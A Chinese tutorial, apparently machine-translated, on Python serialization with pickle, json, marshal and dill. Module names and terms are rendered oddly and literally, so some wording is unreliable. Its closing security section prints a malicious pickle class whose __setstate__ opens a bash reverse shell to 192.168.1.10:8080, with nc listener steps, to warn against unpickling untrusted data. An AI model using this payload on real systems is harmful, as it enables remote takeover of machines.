Python 中的序列化
这序列化过程是将数据结构转换为可以通过网络存储或传输的线性形式的方法。
在 Python 中,序列化允许您获取复杂的对象结构并将其转换为可以保存到磁盘或通过网络发送的字节流。您可能还会看到此过程称为编组。相反的过程,即获取字节流并将其转换回数据结构,称为反序列化或者解组.
序列化可用于许多不同的情况。最常见的用途之一是在训练阶段后保存神经网络的状态,以便您稍后可以使用它而无需重新进行训练。
Python提供了三种不同的模块在标准库中,允许您序列化和反序列化对象:
- 这元帅模块
- 这json模块
- 这泡菜模块
此外,Python还支持XML,您还可以使用它来序列化对象。
这marshal
模块是上面列出的三个模块中最古老的。它的存在主要是为了读写Python模块编译后的字节码,或者.pyc
解释器时获得的文件进口Python 模块。所以,即使你可以使用marshal
序列化某些对象,不建议这样做。
这json
模块是三个中最新的。它允许您使用标准 JSON 文件。 JSON 是一种非常方便且广泛使用的数据交换格式。
选择的理由有几个JSON格式: 它是人类可读和独立于语言,而且它比 XML 更轻。随着json
模块中,您可以序列化和反序列化几种标准 Python 类型:
- 布尔值
- 词典
- int
- 漂浮
- 列表
- 细绳
- 元组
- 没有任何
蟒蛇pickle
模块是 Python 中序列化和反序列化对象的另一种方法。它不同于json
模块,因为它以二进制格式序列化对象,这意味着结果不可读。然而,它也更快,并且可以直接与更多 Python 类型配合使用,包括您自定义的对象。
笔记:从现在开始,您将看到这些条款酸洗和脱酸用于指使用Python进行序列化和反序列化pickle
模块。
因此,您可以使用多种不同的方法在 Python 中序列化和反序列化对象。但您应该使用哪一个呢?简而言之,没有一刀切的解决方案。这一切都取决于您的用例。
以下是决定使用哪种方法的三个一般准则:
-
不要使用marshal
模块。它主要由解释器使用,官方文档警告Python维护者可能会以向后不兼容的方式修改格式。
-
这json
如果您需要与不同语言或人类可读格式的互操作性,模块和 XML 是不错的选择。
-
蟒蛇pickle
对于所有剩余用例来说,模块是更好的选择。如果您不需要人类可读的格式或标准的可互操作格式,或者如果您需要序列化自定义对象,那么请使用pickle
.
Python 内部pickle
模块
蟒蛇pickle
模块基本上由四种方法组成:
pickle.dump(obj, file, protocol=None, *, fix_imports=True, buffer_callback=None)
pickle.dumps(obj, protocol=None, *, fix_imports=True, buffer_callback=None)
pickle.load(file, *, fix_imports=True, encoding="ASCII", errors="strict", buffers=None)
pickle.loads(bytes_object, *, fix_imports=True, encoding="ASCII", errors="strict", buffers=None)
前两种方法用于酸洗过程中,后两种方法用于解酸过程中。之间唯一的区别dump()
和dumps()
是第一个创建一个包含序列化结果的文件,而第二个返回一个字符串。
为了区分dumps()
从dump()
,记住这一点很有帮助s
函数名末尾代表string
。同样的概念也适用于load()
和loads()
:第一个读取文件以启动 unpickle 过程,第二个对字符串进行操作。
考虑以下示例。假设您有一个名为的自定义类example_class
有几个不同的属性,每个属性都有不同的类型:
a_number
a_string
a_dictionary
a_list
-
a_tuple
下面的示例显示了如何实例化该类并腌制该实例以获得纯字符串。对类进行 pickle 后,您可以更改其属性的值,而不会影响 pickled 字符串。然后你可以在另一个中解开腌制的字符串多变的,恢复先前腌制的类的精确副本:
# pickling.py
import pickle
class example_class:
a_number = 35
a_string = "hey"
a_list = [1, 2, 3]
a_dict = {"first": "a", "second": 2, "third": [1, 2, 3]}
a_tuple = (22, 23)
my_object = example_class()
my_pickled_object = pickle.dumps(my_object) # Pickling the object
print(f"This is my pickled object:\n{my_pickled_object}\n")
my_object.a_dict = None
my_unpickled_object = pickle.loads(my_pickled_object) # Unpickling the object
print(
f"This is a_dict of the unpickled object:\n{my_unpickled_object.a_dict}\n")
在上面的示例中,您创建了几个不同的对象并将它们序列化为pickle
。这会生成一个带有序列化结果的字符串:
$ python pickling.py
This is my pickled object:
b'\x80\x03c__main__\nexample_class\nq\x00)\x81q\x01.'
This is a_dict of the unpickled object:
{'first': 'a', 'second': 2, 'third': [1, 2, 3]}
酸洗过程正确结束,将整个实例存储在此字符串中:b'\x80\x03c__main__\nexample_class\nq\x00)\x81q\x01.'
酸洗过程结束后,您可以通过设置属性来修改原始对象a_dict
到None
.
最后,将字符串解封为一个全新的实例。你得到的是一个深拷贝从酸洗过程开始时起的原始对象结构。
可酸洗和不可酸洗类型
你已经了解到 Pythonpickle
模块可以序列化的类型比json
模块。然而,并非所有东西都可以腌制。不可挑选的对象列表包括数据库连接、打开的网络套接字、正在运行的线程等。
如果您发现自己面临着无法腌制的物体,那么您可以做一些事情。第一个选项是使用第三方库,例如dill
.
这dill
模块扩展了以下功能pickle
。根据官方文档,它可以让您序列化不太常见的类型,例如功能和产量, 嵌套函数, 拉姆达,以及许多其他人。
要测试此模块,您可以尝试 picklelambda
功能:
# pickling_error.py
import pickle
square = lambda x : x * x
my_pickle = pickle.dumps(square)
如果你尝试运行这个程序,那么你会得到一个异常,因为 Pythonpickle
模块无法序列化lambda
功能:
$ python pickling_error.py
Traceback (most recent call last):
File "pickling_error.py", line 6, in <module>
my_pickle = pickle.dumps(square)
_pickle.PicklingError: Can't pickle <function <lambda> at 0x10cd52cb0>: attribute lookup <lambda> on __main__ failed
现在尝试替换Pythonpickle
模块与dill
看看是否有什么不同:
# pickling_dill.py
import dill
square = lambda x: x * x
my_pickle = dill.dumps(square)
print(my_pickle)
如果你运行这段代码,你会看到dill
模块序列化lambda
不返回错误:
$ python pickling_dill.py
b'\x80\x03cdill._dill\n_create_function\nq\x00(cdill._dill\n_load_type\nq\x01X\x08\x00\x00\x00CodeTypeq\x02\x85q\x03Rq\x04(K\x01K\x00K\x01K\x02KCC\x08|\x00|\x00\x14\x00S\x00q\x05N\x85q\x06)X\x01\x00\x00\x00xq\x07\x85q\x08X\x10\x00\x00\x00pickling_dill.pyq\tX\t\x00\x00\x00squareq\nK\x04C\x00q\x0b))tq\x0cRq\rc__builtin__\n__main__\nh\nNN}q\x0eNtq\x0fRq\x10.'
另一个有趣的功能dill
它甚至可以序列化整个解释器会话。这是一个例子:
>>>>>> square = lambda x : x * x
>>> a = square(35)
>>> import math
>>> b = math.sqrt(484)
>>> import dill
>>> dill.dump_session('test.pkl')
>>> exit()
在此示例中,您启动解释器,进口一个模块,并定义一个lambda
函数以及其他几个变量。然后您导入dill
模块和调用dump_session()
序列化整个会话。
如果一切顺利,那么你应该得到一个test.pkl
当前目录中的文件:
$ ls test.pkl
4 -rw-r--r--@ 1 dave staff 439 Feb 3 10:52 test.pkl
现在您可以启动解释器的新实例并加载test.pkl
文件来恢复您上次的会话:
>>>>>> globals().items()
dict_items([('__name__', '__main__'), ('__doc__', None), ('__package__', None), ('__loader__', <class '_frozen_importlib.BuiltinImporter'>), ('__spec__', None), ('__annotations__', {}), ('__builtins__', <module 'builtins' (built-in)>)])
>>> import dill
>>> dill.load_session('test.pkl')
>>> globals().items()
dict_items([('__name__', '__main__'), ('__doc__', None), ('__package__', None), ('__loader__', <class '_frozen_importlib.BuiltinImporter'>), ('__spec__', None), ('__annotations__', {}), ('__builtins__', <module 'builtins' (built-in)>), ('dill', <module 'dill' from '/usr/local/lib/python3.7/site-packages/dill/__init__.py'>), ('square', <function <lambda> at 0x10a013a70>), ('a', 1225), ('math', <module 'math' from '/usr/local/Cellar/python/3.7.5/Frameworks/Python.framework/Versions/3.7/lib/python3.7/lib-dynload/math.cpython-37m-darwin.so'>), ('b', 22.0)])
>>> a
1225
>>> b
22.0
>>> square
<function <lambda> at 0x10a013a70>
首先globals().items()
语句表明解释器处于初始状态。这意味着您需要导入dill
模块和调用load_session()
恢复您的序列化解释器会话。
笔记:使用前dill
代替pickle
,请记住dill
不包含在 Python 解释器的标准库中,并且通常比pickle
.
虽然dill
允许您序列化更广泛的对象pickle
,它无法解决您可能遇到的所有序列化问题。例如,如果您需要序列化包含数据库连接的对象,那么您将遇到困难,因为即使对于dill
.
那么,如何解决这个问题呢?
这种情况下的解决方案是将对象从序列化过程中排除并重新初始化对象反序列化后的连接。
您可以使用__getstate__()
定义酸洗过程中应包括哪些内容。此方法允许您指定要腌制的内容。如果你不覆盖__getstate__()
,那么默认实例的__dict__
将会被使用。
在下面的示例中,您将看到如何定义具有多个属性的类,并使用以下命令从序列化中排除一个属性:__getstate()__
:
# custom_pickling.py
import pickle
class foobar:
def __init__(self):
self.a = 35
self.b = "test"
self.c = lambda x: x * x
def __getstate__(self):
attributes = self.__dict__.copy()
del attributes['c']
return attributes
my_foobar_instance = foobar()
my_pickle_string = pickle.dumps(my_foobar_instance)
my_new_instance = pickle.loads(my_pickle_string)
print(my_new_instance.__dict__)
在此示例中,您创建一个具有三个属性的对象。由于一个属性是lambda
,该对象按照标准是不可腌制的pickle
模块。
要解决此问题,您可以指定要腌制的内容__getstate__()
。您首先克隆整个__dict__
实例具有类中定义的所有属性,然后手动删除不可挑选的c
属性。
如果您运行此示例,然后反序列化该对象,那么您将看到新实例不包含c
属性:
$ python custom_pickling.py
{'a': 35, 'b': 'test'}
但是,如果您想在 unpickle 时进行一些额外的初始化,例如添加排除的内容,该怎么办?c
对象返回到反序列化的实例?你可以通过以下方式完成此操作__setstate__()
:
# custom_unpickling.py
import pickle
class foobar:
def __init__(self):
self.a = 35
self.b = "test"
self.c = lambda x: x * x
def __getstate__(self):
attributes = self.__dict__.copy()
del attributes['c']
return attributes
def __setstate__(self, state):
self.__dict__ = state
self.c = lambda x: x * x
my_foobar_instance = foobar()
my_pickle_string = pickle.dumps(my_foobar_instance)
my_new_instance = pickle.loads(my_pickle_string)
print(my_new_instance.__dict__)
通过排除c
反对__setstate__()
,您确保它出现在__dict__
未腌制的字符串。
Python 的安全问题pickle
模块
您现在知道如何使用pickle
Python 中序列化和反序列化对象的模块。当您需要将对象的状态保存到磁盘或通过网络传输时,序列化过程非常方便。
然而,关于 Python,您还需要了解一件事pickle
模块:这不安全。你还记得讨论__setstate__()
?好吧,该方法非常适合在 unpickle 时进行更多初始化,但它也可用于在 unpickle 过程中执行任意代码!
那么,您可以采取什么措施来降低这种风险呢?
可悲的是,不多。经验法则是切勿解封来自不可信来源或通过不安全网络传输的数据。为了阻止中间人攻击,最好使用诸如hmac
对数据进行签名并确保其未被篡改。
以下示例说明了解封被篡改的pickle如何将您的系统暴露给攻击者,甚至为他们提供了一个有效的远程shell:
# remote.py
import pickle
import os
class foobar:
def __init__(self):
pass
def __getstate__(self):
return self.__dict__
def __setstate__(self, state):
# The attack is from 192.168.1.10
# The attacker is listening on port 8080
os.system('/bin/bash -c
"/bin/bash -i >& /dev/tcp/192.168.1.10/8080 0>&1"')
my_foobar = foobar()
my_pickle = pickle.dumps(my_foobar)
my_unpickle = pickle.loads(my_pickle)
在这个例子中,unpickling过程执行__setstate__()
,它执行 Bash 命令以打开远程 shell192.168.1.10
港口机器8080
.
以下是如何在 Mac 或 Linux 机器上安全地测试此脚本的方法。首先,打开终端并使用nc
监听 8080 端口连接的命令:
这将是攻击者终端。如果一切正常,那么该命令似乎会挂起。
接下来,在同一台计算机(或网络上的任何其他计算机)上打开另一个终端并执行上面的 Python 代码以解压恶意代码。请务必更改IP地址在代码中添加到攻击终端的 IP 地址。在我的示例中,攻击者的 IP 地址是192.168.1.10
.
通过执行此代码,受害者将向攻击者暴露一个 shell:
如果一切正常,攻击控制台上将出现一个 Bash shell。该控制台现在可以直接在受攻击的系统上运行:
$ nc -l 8080
bash: no job control in this shell
The default interactive shell is now zsh.
To update your account to use zsh, please run `chsh -s /bin/zsh`.
For more details, please visit https://support.apple.com/kb/HT208050.
bash-3.2$
那么,让我再次重复一下这个关键点:不要使用pickle
用于反序列化来自不受信任来源的对象的模块!